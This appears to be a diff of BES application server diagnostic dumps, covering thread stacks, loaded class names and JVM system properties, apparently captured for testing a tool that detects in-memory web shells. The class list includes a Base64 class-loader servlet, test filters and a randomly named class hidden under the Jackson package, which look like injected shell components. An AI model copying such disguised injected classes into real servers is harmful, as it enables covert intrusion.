at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@144f793b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_3" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"ReadWriteBlockThread-1" #15 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@142fd9ff
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:460)
|
||||||
|
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-4" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Stateful cache" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ea9f378
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_2" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.3" #94 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #99 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
StackClassNames:
|
||||||
|
Base64ClassLoaderServlet
|
||||||
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.PreSelector
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||||
|
com.bes.ejb.spark.tcp.transport.AcceptorThread
|
||||||
|
com.bes.enterprise.appserver.startup.Bootstrap
|
||||||
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
|
com.bes.enterprise.base.disruptor.util.Util
|
||||||
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||||
|
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||||
|
com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Acceptor
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||||
|
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||||
|
com.bes.enterprise.web.util.threads.WorkQueue
|
||||||
|
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||||
|
com.bes.enterprise.web.websocket.server.WsFilter
|
||||||
|
com.bes.enterprise.webext.BESAppservValve
|
||||||
|
com.bes.enterprise.webext.BesContextCleanupValve
|
||||||
|
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||||
|
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||||
|
com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor
|
||||||
|
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||||
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
|
com.fasterxml.jackson.EwGWk.ErrorKnbprHandler
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Generated At 2025-08-10 14:56:20
|
# Generated At 2026-05-24 05:04:43
|
||||||
SystemProps:
|
SystemProps:
|
||||||
bes.loader: bes-system
|
bes.loader: bes-system
|
||||||
java.vendor: Oracle Corporation
|
java.vendor: Oracle Corporation
|
||||||
@@ -22,11 +22,11 @@ user.name: root
|
|||||||
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
||||||
com.bes.resource.ejb.leakDetect: false
|
com.bes.resource.ejb.leakDetect: false
|
||||||
com.bes.hostName: a1666f015eb3
|
com.bes.hostName: 96b21756e3f9
|
||||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
user.language: en
|
user.language: en
|
||||||
derby.system.home: /opt/bes
|
derby.system.home: /opt/bes
|
||||||
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
java.version: 1.8.0_342
|
java.version: 1.8.0_342
|
||||||
@@ -50,7 +50,7 @@ java.home: /usr/local/openjdk-8/jre
|
|||||||
java.vm.info: mixed mode
|
java.vm.info: mixed mode
|
||||||
com.bes.instanceName: server
|
com.bes.instanceName: server
|
||||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
os.version: 6.14.10-orbstack-00291-g1b252bd3edea
|
os.version: 6.8.0-111-generic
|
||||||
path.separator: :
|
path.separator: :
|
||||||
java.vm.version: 25.342-b07
|
java.vm.version: 25.342-b07
|
||||||
com.bes.verboseMode: true
|
com.bes.verboseMode: true
|
||||||
@@ -69,7 +69,7 @@ java.security.egd: file:/dev/./urandom
|
|||||||
user.home: /root
|
user.home: /root
|
||||||
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
|
com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword
|
||||||
java.specification.vendor: Oracle Corporation
|
java.specification.vendor: Oracle Corporation
|
||||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
|
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||||
java.vendor.url: http://java.oracle.com/
|
java.vendor.url: http://java.oracle.com/
|
||||||
com.bes.enterprise.deployments.classpath: false
|
com.bes.enterprise.deployments.classpath: false
|
||||||
java.vm.vendor: Oracle Corporation
|
java.vm.vendor: Oracle Corporation
|
||||||
@@ -77,7 +77,7 @@ common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/
|
|||||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
java.runtime.name: OpenJDK Runtime Environment
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||||
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
java.class.path: /opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar
|
||||||
com.bes.instanceRoot: /opt/bes
|
com.bes.instanceRoot: /opt/bes
|
||||||
java.vm.specification.name: Java Virtual Machine Specification
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
@@ -88,7 +88,7 @@ java.awt.headless: true
|
|||||||
java.io.tmpdir: /tmp
|
java.io.tmpdir: /tmp
|
||||||
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
server.loader:
|
server.loader:
|
||||||
os.arch: aarch64
|
os.arch: amd64
|
||||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
bes.version: 9.5.5
|
bes.version: 9.5.5
|
||||||
com.bes.enterprise.embedder.source: ServerListener
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
@@ -110,70 +110,16 @@ java.specification.version: 1.8
|
|||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
ThreadStacks:
|
ThreadStacks:
|
||||||
"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #83 daemon [TIMED_WAITING]
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
|
||||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
|
||||||
|
|
||||||
"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AcceptorThread-8080-1" #85 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
